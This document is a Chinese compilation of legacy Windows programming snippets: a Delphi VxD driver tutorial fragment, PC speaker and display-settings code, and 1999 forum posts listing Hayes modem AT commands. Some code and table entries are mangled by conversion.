所有其它的值 > 0 意味着不同的函数调用（由 dwIoControlCode 给出），当 VxD 被 DeviceIoControl 函数调用时。

启动模块(vxdmain.asm)

...

extrn SysDynamicDeviceInit :PROC

extrn SysDynamicDeviceExit :PROC

extrn W32DeviceIoControl :PROC

...

PUBLIC DELPHIIO_DDB

Public @@HandleFinally

Public @initialization

...

Control_0 proc

cmp eax, SYS_DYNAMIC_DEVICE_INIT

jnz short chkSysDynExit

call SysDynamicDeviceInit

cmp eax, 1

retn

;-------------

chkSysDynExit:

cmp eax, SYS_DYNAMIC_DEVICE_EXIT

jnz short chkDevIOCtl

call SysDynamicDeviceExit

cmp eax, 1

retn

;-------------

chkDevIOCtl:

cmp eax, W32_DEVICEIOCONTROL

jnz short loc_ret

push esi

push edx

push ebx

push ecx

call W32DeviceIoControl

cmp eax, 1

retn

;-------------

loc_ret:

clc

retn

Control_0 endp

@@HandleFinally:

@initialization:

ret

_LTEXT ends

END

Delphi 会为单元的 initialization/finalization 建立代码调用外部过程 HandleFinaly 和 initialization ，即使 initialization/finalization 在单元中不存在。因此我们在汇编的启动文件中建立空的外部过程入口。

主 Delphi 程序单元(vxdProcs.pas)

...

procedure ShellMessage(Handle, Flags : integer; const Message, Caption : PChar;

Callback, ReferenceData : pointer); stdcall; assembler;

asm

mov ebx, Handle // virtual machine handle

mov eax, Flags // message box flags

mov ecx, Message // address of message text

mov edi, Caption // address of caption text

mov esi, Callback // address of callback

mov edx, ReferenceData // reference data for callback

int 20H // VxDCall

dd 170004h // Shell_Message

end;

function SysDynamicDeviceInit : INTEGER;

begin

ShellMessage(0, $10, Copyright, 'SysDynInit: Hello from Delphi VxD !!!', nil, nil);

Result := VXD_SUCCESS;

end;

function SysDynamicDeviceExit : INTEGER;

begin

ShellMessage(0, $10, Copyright, 'SysDynDevExit: Bye from Delphi VxD !!!', nil, nil);

Result := VXD_SUCCESS;

end;

function W32DeviceIoControl(dwService : INTEGER;

dwDDB : INTEGER;

hDevice : INTEGER;

lpDIOCParms : pointer) : INTEGER;

begin

ShellMessage(0, $10, Copyright, 'W32DevIOCtl', nil, nil);

if (dwService = DIOC_OPEN) then

begin

Result := NO_ERROR;

end

else if (dwService = DIOC_CLOSEHANDLE) then

begin

Result := VXD_SUCCESS;

end

else if (dwService > MAX_PASVXD_W32_API) then

begin

Result := ERROR_NOT_SUPPORTED;

end

else

begin

Result := VXD_SUCCESS;

end;

end;

...

[译者：好了，简单的 VxD 设备驱动程序编写完毕了。你可以将它当作一个写 VxD 设备驱动程序的模板。]

附一：Make.bat

D:~198DDK-coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 vxdmain.asm

call dcc3.bat -J vxdprocs.pas

D:~198DDK/DEF:vxddef.def /VXD vxdmain.obj vxdprocs /OUT:delphiio.vxd

附二：

现在让我们来编写对该 VxD 的测试程序，两个按钮：一个打开 VxD；一个关闭 VxD。

const

VxDName = '\..VXD';

...

function TVxDTestForm.OpenVxDDriver: boolean;

begin

HVxDHandle := CreateFile(VxDName,0,0,nil,0,FILE_FLAG_DELETE_ON_CLOSE,0);

Result := HVxDHandle <> INVALID_HANDLE_VALUE;

end;

procedure TVxDTestForm.CloseVxDDriver;

begin

if HVxDHandle <> INVALID_HANDLE_VALUE then begin

CloseHandle(HVxDHandle);

HVxDHandle := INVALID_HANDLE_VALUE;

end;

end

回复人：NiceFeather(2000-10-12 14:49:00) 得0分

http://zhanet.myrice.com/左边“>>教程更新”部分！


beepex
sound:

procedure BeepEx(feq:word=1200;delay:word=1);

procedure BeepOff;

begin

asm

in al,$61;

and al,$fc;

out $61,al;

end;

end;

const

scale=1193180;

var

temp:word;

begin

temp:=scale div feq;

asm

in al,61h;

or al,3;

out 61h,al;

mov al,$b6;

out 43h,al;

mov ax,temp;

out 42h,al;

mov al,ah;

out 42h,al;

end;

sleep(delay);

beepoff;

end;

用嵌入汇编的方式，

下面是我在C++Builder编的扬声器发声片段，

与DELPHI 是姐妹语言， 我想可能差不多，

供你参考.

void Sound(int f) // 发音, 频率f

{

__int16 B=1193180/f;

asm in AL,61H; // 从端口B取数

asm or AL,3; // 两低位置1

asm out 61H,AL; // 返给端口B

asm mov AL,0B6H; // 通道2位图,2B,M3,B2

asm out 43H,AL; // 送指令寄存器

asm mov AX,B; // 计数: 1193180/F

asm out 42H,AL; // 送低有效位LSB

asm mov AL,AH;

asm out 42H,AL; // 送高有效位MSB

}

void SoundOff() // 关闭声音

{

asm in AL,61H; // 取端口B的字节

asm and AL,0FCH; // 强制置两位为0

asm out 61H,AL; // 返送端口B

}


监测系统的颜色数目
GetDeviceCaps(0,BITSPIXEL)


支持多显示器
TScreen->Monitors

*************

在第二显示器上开一个窗口

procedure SetWindowToMonitor(Form: TCustomForm; //你想操作的窗体

MonitorIndex, //你想要显示窗体的显示

// 器索引， 0为主显示

// 器，1为第二显示器

Left, Top: Integer //窗体在显示器上的位置

);

begin

if not Assigned(Form) then Exit;

if MonitorIndex >= Screen.MonitorCount then Exit;

with Screen do

begin

Inc(Left, Monitors[MonitorIndex].Left);

Inc(Top, Monitors[MonitorIndex].Top);

end;

Form.SetBounds(Left, Top, Form.Width, Form.Height);

end;


设置屏幕分辨率和颜色
procedure SetRes(XRes, YRes: DWord);

var

lpDevMode : TDeviceMode;

begin

EnumDisplaySettings(nil, 0, lpDevMode);

lpDevMode.dmFields:=DM_PELSWIDTH or DM_PELSHEIGHT;

lpDevMode.dmPelsWidth:=XRes;

lpDevMode.dmPelsHeight:=YRes;

ChangeDisplaySettings(lpDevMode, 0);

end;

******************

设置屏幕颜色深度

procedure Toggle;

var

i : LongInt;

b : LongInt;

DevM : TDEVMODE;

h: HDC;

w: HWND;

IsToggled: Boolean;

PreviousBitsPerPixel: Integer;

begin

IsToggled := not IsToggled;

w:=GetDesktopWindow;

h:=GetDC(w);

try

if IsToggled then

begin {change to 8 bit}

PreviousBitsPerPixel := GetDeviceCaps(h, BITSPIXEL);

i := -1;

Repeat

Inc(i);

Until EnumDisplaySettings(pchar(0), i, DevM) = False;

DevM.dmFields := DM_BITSPERPEL;

DevM.dmBitsPerPel := 8;

b := ChangeDisplaySettings(DevM, 0);

if ((GetDeviceCaps(h, RASTERCAPS) and RC_PALETTE) = 0) or

(b <> DISP_CHANGE_SUCCESSFUL) then

begin

showmessage('can''t use palettes');

IsToggled := False;

end

end else {Change mform to palette values and perform desired 8 bit display}

else begin {change back value}

i := -1;

Repeat

Inc(i);

Until EnumDisplaySettings(pchar(0), i, DevM) = False;

DevM.dmFields := DM_BITSPERPEL;

DevM.dmBitsPerPel := PreviousBitsPerPixel;

b := ChangeDisplaySettings(DevM, 0);

if b <> DISP_CHANGE_SUCCESSFUL then showmessage( 'Error restoring origional display');

end;

finally

ReleaseDC(w,h);

end;

end;


modem的at指令集
1.调制解调器的AT命令。

Hayes 兼容调制解调器命令

表 1 调制解调器命令

───────────────────────────────────

经常使用的命令

命令 说明

───────────────────────────────────

ATDT 用音频拨号

ATDP 用脉冲拨号

ATA 回答电话

ATH 挂起电话

ATZ 复位调制解调器

ATX0D 手工拨号时连通

ATS0=0 关闭自动应答装置

ATS0=2 响铃两声后应答

,(逗号) 等待2秒

+++ 换码序列(发出该命令时，先暂停一秒，然后快速键入+++,等待调

制解器回答OK)。脱离联机状态，进入命令状态，这样，就可以把

命令送到本地调制解调器而不会送到其它调制解调器。

行结束符。除A/和+++外，所有命令后都要加上该字符，如果在拨

号或等待连通时按Enetr键，拨号就会终止。

调制解调器命令

───────────────────────────────────

──

命令 说明

───────────────────────────────────

──

──

AT 注意码；除A/外它出现在所有命令之前

A 应答电话

A/ 重复上一行命令。

B 设定协议。当使用高速调制解调器时，B的值可高达63，参见随机

手册。

B,B0 CCITT V.21/V.22协议(1200bps)。

B1 Bell 212A协议(1200bps美国国内)；缺省值。

B30 V.22bis(2400bps)。

B41 V.32(4800bps)

B52 V.32(7200bps)

B60 V.32(9600bps)

B64 V.FC(9600bps)

B75 V.32 bis (14400bps)

B76 V.FC(14400bps)

D 用下列修改拨号。键入ATD和一个或多个下列命令，再加上电话号

码0-9；

P 脉冲(用转动拨号式电话拨号)。

R 反向拨号。

S=n 存储电话号码0、1、2或3；例如:ATDS=2并按Enter

T 音频。

W 等待拨号音

@ 等待静止。

@ 等待静止。

, 每个逗号(典型地)暂停2秒(每个逗号的延时数存在寄存器G8中)。

; 拨号后恢复到命令状态；不等待调制解调器到调制解调器的连通。

譬如,用于呼入电子服务网以查看你的帐目节余。

例子:键入ATDT456-1414；

并按Enter进行拨号，等一会儿,然后键入ATDT5251；并按Enter发

送音频码。

! 刹那挂机后再恢复(挂机75毫秒，然后再连通)。用于在PBX系统中

呼叫传输。

E 在命令状态期间控制回显。

E,E0 没有回显。

E1 字符回显到你的显示器上(缺省)。

H 电话挂钩控制。

H,H0 挂起(把电话放在挂钩上)。

H1 摘机，但不进行信号交换(拿起电话，但不试图连通)。

I 返回调制解调器的号码和状态。

I,I0 返回调制解调器标识符。

I1 执行ROM校验和检查并返回值。

I2 验证ROM校验，返回OK或ERROR。

I3 报告ROM部件,包括软件的版本号。

I4 以软件申请表的方式报告调制解调器容量。

L 监听嗽叭音量制(每一个调制解调器对低音量的反应变化很大)。

L,L0 最低音量，但没有关上(见ATM)。

L1 低音量。

L2 中音量。

L3 高音量。

M 监听喇叭开或关。

M,M0 监听喇叭常关。

M1 监听喇叭开直至检测到

M2 监听喇叭常开；检测到载波信号后关(缺省)。

M3 拨号期间以及检测载波信号时监听喇叭关，然后关(可能M1噪音小

一些)。

O 返回到联机状态(字母Oh，不是零)。

O,O0. 返回到联机状态(字母Oh或Oh零)。

O1 返回到联机状态并初始化随后的序列。

Q 允许或抑制从调制解调器到计算机的结果码(CONNECT、RING、

BUSY、NO CARRIER)等等。如果结果码送回的话，某些软件将不能

工作。

Q,Q0 显示结果码(缺省)。

Q1 不显示结果码。

Q2 抑制RING。

S 读写S-寄存器(见表 4 中的 S-寄存器列表)。

Sn 把当前的寄存器编号设定为n,这里n=0,1...95。如果未指定编号,

调制解调器仍认为是上一次选择的那个寄存器。

Sn=v 把S-寄存器n的值设定为v。

Sn? 读S-寄存器n并把结果返回给计算机，这里n =0，1...95。

V 以文字或数字送出结果码。

V,V0 以数字显示结果码。

V1 以文字显示结果码。(缺省)

X 呼叫过程选项(扩展结果码、拨号选项)。

X,X0 仅选基本结果码。连通CONNECT结果码。不认拨号音或忙信号。

X1 除能产生所有的CONNECT结果码外，与X0一样。

X2 等待拨号音，不识别忙信号。能产生所有的CONNECT结果码。

X3 识别忙信号但不等待拨号音。能产生所有的CONNECT结果码。

X4 拨号前等待拨号音,能识别信号。能产生所有的CONNECT结果码(缺

省)。

Y 长间隔断开 (确定调制解调器在接收到一个1.6秒的中断信号后是

否断开)。

Y,Y0 抑制长间隔断开(缺省)。

Y1 调制解调器在接收到ATHO(挂机)命令后，在挂机前发送4秒钟的中

断(间隔)信号。

Z 挂机；复位。

Z0 复位，从永久性RAM中调出储存的用户开工文件0。

Z1 复位，调出储存的用户开工文件1。

───────────────────────────────────

──

表 2 不是所有调制解调器都具有的命令

───────────────────────────────────

──

命令 说明

───────────────────────────────────

──

&J 插孔类型(依赖于附属设备的选项)。

&J,&J0 RJ11、RJ41S、RF45S插孔(无A各A1线)；缺省。

&J1 RJ12、RJ13插孔(在调制解调器摘机的同时连能A和A1线)。

&L 选择租用线路或拨号线路

&L,&L0 正常的拨号线路(缺省)。

&L1 租用线路。

&P 拨号脉冲开合比率

&P,&P0 39%开，61%合(美国和加拿大)；缺省。

&P1 33%开，67%合(英国和香港)。

&Vn 查看当前配置和用户开工文件；n=0，1。

&Wn 把当前配置文件0或1开工文件n写到永性RAM。

&Y 当调制解调器打开时，使用存储的开工文件。

&Y,&Y0 使用开工文件0。

&Y1 使用开工文件1。

&Z 存储或呼叫电话号码。

&Zn=x 把电话号码x储存到永久性存性存储器n(0,1,2或3)中(例如:&Z1=9,

1-202-456-1414是指把该电话号码储存到存位置1)。

&Zn= 拨内存位置1中储存的电话号码。

表 3 调制解调器的MNP、V.42错误校正命令

───────────────────────────────────

──

命令 说明

───────────────────────────────────

──

设定最大的MNP( Microcom Networking Protocol，微通讯网络协

议)块大小。

64字节。

128字节。

192字节。

256字节(缺省)。

发送0￣900毫秒的中断信号，这里，n=0￣900毫秒。缺省是n=3或

300毫秒。

设定自动可靠(错误校正)缓冲区。

抑制(缺省)。

最大到200个数据字符的缓冲区。如果在 3秒内接收到了一个可靠

字符,则建立一个可靠连通。如果接收到200个正常字符(无可靠字

符)，则建立一个正常连通。

抑制自动可靠缓冲。接收到由 %A限定的换码字符后建立一个正常

连通。

连通。

调制解调器到调制解调器的XON/XOFF流控制。

禁止XON/XOFF(缺省)。

允许XON/XOFF。

设置串行bps率调整。

禁止调整串行bps率。

允许调整串行bps率。

设定中断控制，这里，n等于0￣5；缺省是n=5。

设置操作模式。

标准模式。

直接模式。

强迫MNP模式。

自动可靠模式。

强迫V.42模式。

进行可靠连通(字母Oh，不是零)。

设置串口流控制(随调制解调器的变化很大)。

抑制流控制

双向XON/XOFF控制

单向RTS/CTS控制

双向RTS/CTS控制

除调制解调器产生但不响应SON/OFF外，与Q1相同。

与相同，但调制解调器保持CTS为低直到连通

除调制解调器保持CTS为低直到连通外，与Q3相同。

显示当前设置。

静止计时器(n=0￣90)。缺省:n=0。

接收可靠连通

显示错误控制和数据压缩

标准CONNECT结果码。

CONNECT码显示通常的错误控制信息。

CONNECT码显示完整的错误控制和数据压缩信息

XON/XOFF传送设置

不把XON/XOFF传送到远程调制解调器

把XON/XOFF传送到远程调制解调器

切换到可靠模式

切换到正常模式

%An 设定自动可靠低效运行字符，这里，n=0￣127；与一起使用。

缺省:n=13。回车(Enter)键

%C MNP第5级数据压缩控制

%C0 不允许

%C1 允许(缺省)

%E 自动重对准

%E0 关

%E1 开(缺省)

-J 检测错误控制

-J,-J0 检测错误控制检测状态

-J1 允许错误控制检测状态

"H V.42bis数据压缩控制

"H0 抑制v.42bis数据压缩控制

"H1 能发送但不能接收V.42bis数据压缩

"H2 能接收但不能接收V.42bis数据压缩

"H3 允许双向V.42bis数据压缩

"On 设定最大的V.42bis串长度(n=6￣250)。

表 4 S-寄存器命令

───────────────────────────────────

──

命令 缺省值 说明

───────────────────────────────────

──

S0* 00 调制解调器应答前的响铃次数。范围:0￣255.S0=0

则禁止自动应答。

S1 00 响铃计数。范围:0￣255声

S2 43 换码字符(ASCII字符0￣127；缺省是+(加号键))。

S3 13 回车字符。(ASCII字符0￣127；缺省是Enter。)

S4 10 换行字符(ASCII 0￣127)。

S5 08 退格字符(ASCII字符0￣32，127)。

S6 02 等待拨号音的时间。范围:0￣255)秒

S7 30 拨号后等待载波信号的时间。在这段时间内如果未

检测到载波信号调制解调器将挂起。范围:1￣30秒

S8 02 每个逗号暂停的时间。范围:0￣255

S9 06 调制解调器发出一个 CONNECT命令前载波信号必须

存在多长时间，以1/10秒计。范围:1￣255

S10 14 丢失载波信号后调制解调器在挂起前等待多长时间

，以1/10秒计。对于干扰严重的电话线、移动电话

、洲际电话，应把该值设得大一些。范围:0￣255

S11* 70 每个音(数字)的拨号速度，以1/100秒计。

范围50￣255。

S12 50 以1/50秒计的换码保护时间。 在键入+++之前必须

等待的时间。范围:0￣255

S16 00 调制解调器测试选项。

S18* 00 论断测试的最长时间。范围:0￣255秒。

S25* 05 DTR丢失时间，以1/100秒计。短于该时间的任何东

西都被忽略。范围:0￣255。

S26* 01 以1/100秒计的RTS到CTS到CTS的延时。

范围:0￣255。

--

※ 来源:．网易虚拟社区 http://club.netease.com．[FROM: 202.96.190.124]

发信人: gzligw (KyleK), 信区: Windows

标 题: Re: 谁知道modem的at指令集?请告知!

发信站: 网易虚拟社区 (Sun Aug 22 23:50:37 1999), 站内信件

【 在 smilestar (abin) 的大作中提到: 】

: 谁知道modem的at指令集?请告知!

标准指令 MODEM 延伸指令

A 送出ANSWER TONE

A/ 重新执行上一个指令。次指令不加前置码

AT 每个指令之前置码

B B0＝自动扫描速度，及CCITT低速

B1＝自动扫描速度，及BELL低速

D 拨号指令

DS 选择拨出 内存四组号码

E E0＝不回应输入字节

E1＝回应输入字节

+++ 由资料模式跳回指令模式

H H0＝MODEM 执行 ON HOOK（一般状态）

H1＝MODEM 执行 OFF HOOK（举起电话动作）

I I0＝显示产品号码

I1＝显示CHECKSUM

I2＝内部MEMORY测试

I3＝显示DEVICE ID

I4＝显示INTERNAL ID

L L1＝小音量

L2＝中音量

L3＝大音量

M M0＝喇叭静音

M1＝喇叭发声至连线

M2＝喇叭持续发声

M3＝条件同M1，但拨号时为静音

Sr? 读出暂存器r之值（r=0~28）

Sr=n 设定暂存器r之值为n。（r=0~28,n=0~255）

P 脉冲拨号

T 音频拨号

Q Q0＝执行指令。回应信息

Q1＝执行指令。不回应信息

V V0＝以数字形式。回应信息

V1＝以文字形式。回应信息

X X0＝和SMART MODEM 300 相容。连线仅出现CONNECT

X1＝连线后会出现连线速率。

X2＝连线后会出现连线速率。并监测DIAL TONE。

X3＝连线后会出现连线速率。并监测BUSY TONE。

X4＝连线后会出现连线速率。并监测DIAL TONE和BUSY TONE。

Y Y0＝断线前。不送出BREAK信号

Y1＝断线前。送出4秒BREAK信号

Z Z0＝RESET 并重新使用第零组参数表。

Z1＝RESET 并重新使用第壹组参数表。

MODEM 延伸指令

&C &C0＝将DCD信号。一直认定为HIGH

&C1＝依据远端送来CARRY信号。实际回应

&D &D0＝MODEM忽略DTR信号。

&D1＝当DTR信号变化。MODEM跳至指令模式。

&D2＝当DTR信号变化。MODEM跳至指令模式。并挂线。

&D3＝当DTR信号变化。MODEM做RESET动作。

&F &F＝设置V.42BIS模式的出厂设定值。并使用RTS／CTS的流程控制。

&G &G0＝不同GUARD TONE

&G1＝550Hz GUARD TONE

&G2＝1800Hz GUARD TONE

&M &M0＝非同步工作模式。

&O &O0＝关闭Originate-only mode

&O1＝设置Originate-only mode

&P &P0＝OFF-HOOK/ON-HOOK比例为39／61。（美制）

&P1＝OFF-HOOK/ON-HOOK比例为33／67。（英制，港制）

&S &S0＝DSR信号，设置为ON。

&S1＝DSR信号，依据RS－232规格。

＝开启串口至MODEM之间速率调整

＝只能联结在普通模式。

＝只能联结在直接模式。

＝只能联结在MNP模式。

＝自动联结在普通 MNP ／V.42模式。

＝只能联结在V.42模式。

＝关闭流程控制

＝使用Xon/Xoff流程控制

＝使用CTS单向硬件流程控制

＝使用CTS／RTS双向硬件流程控制

--

※ 来源:．网易虚拟社区 http://club.netease.com．[FROM: 202.103.136.104]

发信人: liu_fh (小山), 信区: Windows

标 题: Re: 谁知道modem的at指令集?请告知!

发信站: 网易虚拟社区 (Mon Aug 23 11:50:52 1999), 站内信件

【 在 smilestar (abin) 的大作中提到: 】

: 谁知道modem的at指令集?请告知!

AT 标准指令

=============================================================

使用方法:在通讯软件的命令方式下打入前置码 AT ＋ ?? 指令后回车,如回

应ok则表示指令已正确执行,如回应error则指令错误.

指令 功 能

-------------------------------------------------------------

AT 每个指令的前置码

A 送出 ANSWER TONE

A/ 重新执行上一指令,此指令无前置码

B B0 自动扫描速度及CCITT

B1 自动扫描速度及BELL低速

B2 自动扫描速度

B3 只能连线在 CCITT V.23

B4 只能连线在 CCITT V.21

B5 只能连线在 CCITT V.22

B6 只能连线在 CCITT V.22bis

B7 只能连线在 CCITT V.32 4800bps

B8 只能连线在 CCITT V.32 9600bps

B9 只能连线在 CCITT V.32bis

B10 只能连线在 CCITT V.34 16800bps

B11 只能连线在 CCITT V.34 19200bps

B12 只能连线在 CCITT V.34 21600bps

B13 只能连线在 CCITT V.34 24000bps

B14 只能连线在 CCITT V.34 26400bps

B15 只能连线在 CCITT V.34 28000bps

D 拨号指令

DSn 选择拨出MODEM内存中第n组号码

E E0 不回应输入字元

E1 E1 回应输入字元

+++ 由资料模式跳回指令模式

H H0 MODEM执行ON HOOK

H1 MODEM执行OFF HOOK

I I0 显示产品号码

I1 显示CHECKSUM

I2 内部储存器测试

I3 显示V.42bis版本

I4 显示产品编号及芯片种类

L L1 小音量

L2 中音量

L3 大音量

M M0 扬声器静音

M1 扬声器发声直到连线

M2 扬声器持续发声

M3 扬声器发声直到连线,拨号时静音

Sr 读出储存器r值(r=0-28)

Sr=n 设定储存器r值为n (n=0-255)

P 脉冲拨号

T 双音频拨号

Q Q0 执行指令回应讯息

Q1 执行指令不回应讯息

V V0 以数字方式回应讯息

V1 以文字方式回应讯息

X X0 和SMART MODEM300相容,连线谨出现CONNECT

X1 连线后出现连线速率

X2 连线后出现连线速率并侦测DIAL TONE

X3 连线后出现连线速率并侦测BUSY TONE

X4 连线后出现连线速率并侦测DIAL TONE和BUSY TONE

Y Y0 断线前不送出中断讯号

Y1 断线前送出4秒中断讯号

Z Z0 RESET并重新启用第0组参数

Z1 RESET并重新启用第1组参数

----------------------------------------------------------------

注意:以上指令虽为贺氏AT标准指令所定义,但与你所使用的MODEM仍

可能有不相容之处

================================================================

AT 扩充指令

指令 功 能

-------------------------------------------------------------

&C &C0 将DCD讯号一直认定为HIGH

&C1 依据远端传来的CARRY讯号实际回应

&D &D0 MODEM忽略DTR讯号

&D1 当DTR讯号变化,MODEM跳至指令模式

&D2 当DTR讯号变化,MODEM跳至指令模式并挂线

&D3 当DTR讯号变化,MODEM作RESET动作

&F &F 设定V.43BIS模式之出厂设定值,并使用RTS/CTS流程控制

&F1 设定V.43BIS模式之出厂设定值,并使用Xon/Xoff流程控制

&F2 设定V.43BIS模式之出厂设定值,并使用RTS/CTS流程控制

&F3 设定V.43BIS模式之出厂设定值,并使用Xon/Xoff流程控制及&D0

动作

&F4 设定V.43BIS模式之出厂设定值,并使用RTS/CTS流程控制及&D0动

作

&F5 设定V.43BIS模式之出厂设定值,不使用流程控制

&G &G0 不用GUARD TONE

&G1 550Hz GUARD TONE

&G2 1800Hz GUARD TONE

&H 指令辅助说明

&L &L0 设定在拨接模式

&L1 设定在专线模式

&L2 设定为开机自动专线

&M &M0 非同步工作模式

&M1 非同步拨号后进入同步模式

&M2 同步模式

&M3 手动同步拨号模式

&O &O0 关闭Originate-only mode

&O1 设定Originate-only mode

&P &P0 OFF-HOOK/ON-HOOK比率为39/61(美规)

&P1 OFF-HOOK/ON-HOOK比率为33/67(英规.港规)

&R &R0 CTS讯号依据RTS讯号

&R1 CTS讯号设定为ON

&S &S0 DSR讯号设定为ON

&S1 DSR讯号依据RS-232规格

&V 显示MODEM参数状态表

&W &W0 将目前所用参数,存放在参数表0

&W1 将目前所用参数,存放在参数表1

&X &X0 同步脉冲由MODEM之PIN15提供

&X1 同步脉冲由DTE之PIN24提供

&X2 同步脉冲由接收讯号提供

&Y &Y0 当POWER ON时,取用参数表0之参数

&Y1 当POWER ON时,取用参数表1之参数

&Z &Zn 设定各组电话号码

%C %C0 关闭MNP5,V.42BIS资料压缩模式

%C1 启动MNP5,V.42BIS资料压缩模式

%D %D0 关闭CLEAR-DOWN讯号

%D1 启动CLEAR-DOWN讯号

%E %E0 关闭AUTO-RETRAIN

%E1 启动AUTO-RETRAIN

%L %Ln 设定传输准位为-ndb

%P %P0 关闭开机自动拨号功能

%P1 启动开机自动拨号功能

%S %S0 关闭回拨保护及密码侦测功能

%S1 启动密码侦测功能

%S2 启动回拨保护功能

=? 显示密码

=n 设定密码n=密码(最大7个位元)

--------------------------------------------------------------------

注意:以上指令虽为贺氏标准扩充指令所定义,但与你所使用的MODEM仍

可能有不相容之处

====================================================================

MNP/V.42/V.42BIS

指令 功 能

-------------------------------------------------------------

%Au 设定Auto-Reliable字元为n(n=0-127)须配使用

%C %C0 关闭V.42bis/MNP压缩功能

%C1 关闭V.42bis/MNP压缩功能

设定最大MNP Block容量为64个字元

设定最大MNP Block容量为128个字元

设定最大MNP Block容量为192个字元

设定最大MNP Block容量为256个字元

当连接在MNP Mode不提供Buffer也不侦测fallback字元

当连接在Reliable Mode,提供200个字元缓冲

当连线在Normal Mode不回应资料

当连线在Normal Mode回应资料

关闭DCE流程控制

启动DCE流程控制

关闭串口速度调整(保持DTE与Modem间最高速度)

启动串口速度调整(随着两部Modem间速度调整)

只能以普通(Normal)模式连线

只能以直接资料模式连线

只能以MNP模式连线

自动调整MNP或普通模式

只能以V.42模式连线

自动调整V.42或普通模式

自动调整V.42或MNP或普通模式

在普通连接模式去初始化Reliable模式(配合)

关闭DTE流程控制

设定以Xon/Xoff软件方式为流程控制

设定以CTS单向硬件方式为流程控制

设定以RTS/CTS双向硬件方式为流程控制

设定以Xon/Xoff单向软件方式为流程控制(Modem TO Host)

在普通连接模式去承认Reliable模式(配合)

显示DCE连线速度但不显示延伸模式

显示DCE连线速度且显示延伸模式

显示DCE连线速度但不显示延伸模式

显示DCE连线速度不显示延伸模式

处理Xon/Xoff但不pass Through

处理Xon/Xoff且pass Through

从普通模式跳至Reliable模式

结束Reliable跳至普通模式

--------------------------------------------------------------------

注意:以上指令虽为CCITT标准所定义,但与你所使用的MODEM仍

可能有不相容之处

====================================================================

... 以下为另一份.

AT 命令集说明

命令 说明

AT 注意代码。AT 为命令前缀，告诉调制解调器正在输入一条命令或命令序列，

它可以作为除 A/(重复)和 +++ (退出)命令外所有命令的前缀。单独输入，

如果调制解调器已准备好接收命令，只输入 AT 会使它发出确定的响应。

A/ 重复上一条命令。A/ 使调制解调器重复上一条命令，例如重拨一个电话号

码。刚执行完毕的命令会保存在命令缓冲区中，直到输入 AT 或关闭电源。

上述方法均可清除缓冲区并使 A/ 命令无效，因为已没有命令让调制解调器

重复。没有必要输入或AT，因为它们和上一条命令一起保存在命令缓冲

区中。参数：无

A 应答命令。A 使调制解调器应答呼叫而无需等待响铃。适合在手动应答呼叫

或在发送方式 下直接与另一台调制解调器建立联络时使用。参数：无

注：在同一命令行上随 A 后的任何命令均会被忽略。

注：某些国家可能不允许使用手动应答呼叫(用 A 命令)。

Bn 通信标准选项。决定选用 ITU 或 Bell 标准。参数：n = 0、1、2、3、15、

16(视调制解调器的型号而定)

n = 0 ITU V.22 速率为 1200 bps；V.21 速率为 300 bps

n = 1 贝尔(Bell)212 A 速率为 1200 bps (默认值)

n=2 或 3 调制解调器发送时采用 CCITT V.23 R1200/T75 ASB ；

调制解调器接收时采用 CCITT V.23 T1200/R75

n = 15 V.21 速率为 300 bps

n = 16 贝尔(Bell)103 速率为 300 bps (Compaq Presario 192-VS型和

Compaq Presario 288-VS 型调制解调器的默认值)

Dn 拨号命令。D 使调制解调器拨命令行中随 D 后的号码。有效的拨号数字和拨

号修改程序详列于本章后面的表格 3-4:拨号命令修改程序拨号命令修改程序

中。参数：无。注：脉冲拨号的情况下，非数字字符是无效的。

En 命令回显选项。调制解调器处于命令方式时，En 用于禁用或启用输入字符的

本地回显 。参数： n = 0、1

n = 0 禁用本地回显

n = 1 启动本地回显(默认值)

Hn 挂机控制选项。Hn 控制挂机 延迟。参数： n = 0、1

n = 0 调制解调器挂机(挂断)(默认值)

n = 1 调制解调器摘机

注： H1 在某些国家可能不允许使用。在那种情况下，ATH1 将返回一个错误

代码。

In 要求识别选项。In 向调制解调器询问其产品识别代码，ROM 校验和 /或 ROM

校验和状态。参数： n = 0、 1、2、4、9

n = 0 返回固件 版本。

n = 1 计算并显示 ROM 校验和(如 12AB)

n = 2 执行 ROM 校验，计算并核对校验和，显示确定或错误。

n = 4 返回数据激励的软件版本。

n = 9 返回国家代码

Ln 扬声器音量选项。使用 Ln 控制在传真和数据通信期间扬声器的音量。

参数： n = 0、1、2、3

n = 0 扬声器低音量

n = 1 扬声器低音量

n = 2 扬声器中音量(默认值)

n = 3 扬声器高音量

注：要彻底关闭扬声器，请使用 MO 命令。

Mn 扬声器控制选项。使用 Mn 控制在传真和数据通信期间扬声器的开/关。

参数： n = 0、1、2、3 (视调制解调器的型号而定)

n = 0 扬声器关闭

n = 1 扬声器打开，直到检测到载波(默认值)

n = 2 调制解调器在摘机状态时扬声器一直打开

n = 3 拨号后扬声器打开，直到检测到载波。

Nn 调制信息交换。在本地调制解调器和远程调制解调器连接时，如果两者通信

速度不同，可使用 Nn 控制本地调制解调器是否执行协商信号交换 。

参数： n = 0、1

n = 0 发送或应答时，交换仅采用由 S37 和 ATB 命令指定的通信标准。

n = 1 发送或应答时，采用由 S37 和ATB命令指定的通信标准开始交换，

交换期间速度则可能会降低(默认值)。

On 联机命令。On 将调制解调器强制为联机方式 。

参数： n = 0、1、3 (视调制解器的型号而定)

n = 0 进入联机方式

n = 1 进入联机方式，并初始化均衡器重整 。

n = 3 进入联机方式，并在返回联机数据方式前发出通信速率重协商。

注：「退出」到命令方式后可用此命令返回联机方式。

P 脉冲拨号。P 将拨号方式设置为脉冲，所有呼叫都将保持脉冲方式，直到选

择音频拨号方式(T命令)。此命令也可作为拨号修改程序使用。(请参阅本章

后面的表格 3-4: 拨号命令修改程序。)参数：无

注：某些国家可能不设脉冲拨号，在那种情况下，P 命令将被忽略。

Qn 结果代码抑制。Qn 使调制解调器可以发送结果代码。参数：n = 0、1

n = 0 启用结果代码(默认值)

n = 1 禁用返回结果代码(静噪)

Sn 选择 S 寄存器。Sn 将指针指向某个 S 寄存器，其中「n」为寄存器号。在

选择另一个寄存器之前，n 值可用 AT? 读出，并可用 AT= 修改。

参数：无范围： n = 0-29、31-33、35、37、89

Sr=n 写 S 寄存器。Sr=n 将寄存器r设为值n。这些寄存器的内容可用此命令修

改。参数：无

范围： r = 0-29、31-33、35、37 和 89(寄存器号)n = 0-255(值)

注：写保留的寄存器或只读寄存器可能会引起不可预测的结果。有关寄存

器的完整列表，请参阅第四章，S 寄存器。

Sn? 读 S 寄存器。Sn? 报告由 n 指定的寄存器值，n 可为任何有效的 S 寄存

器号。参数：无

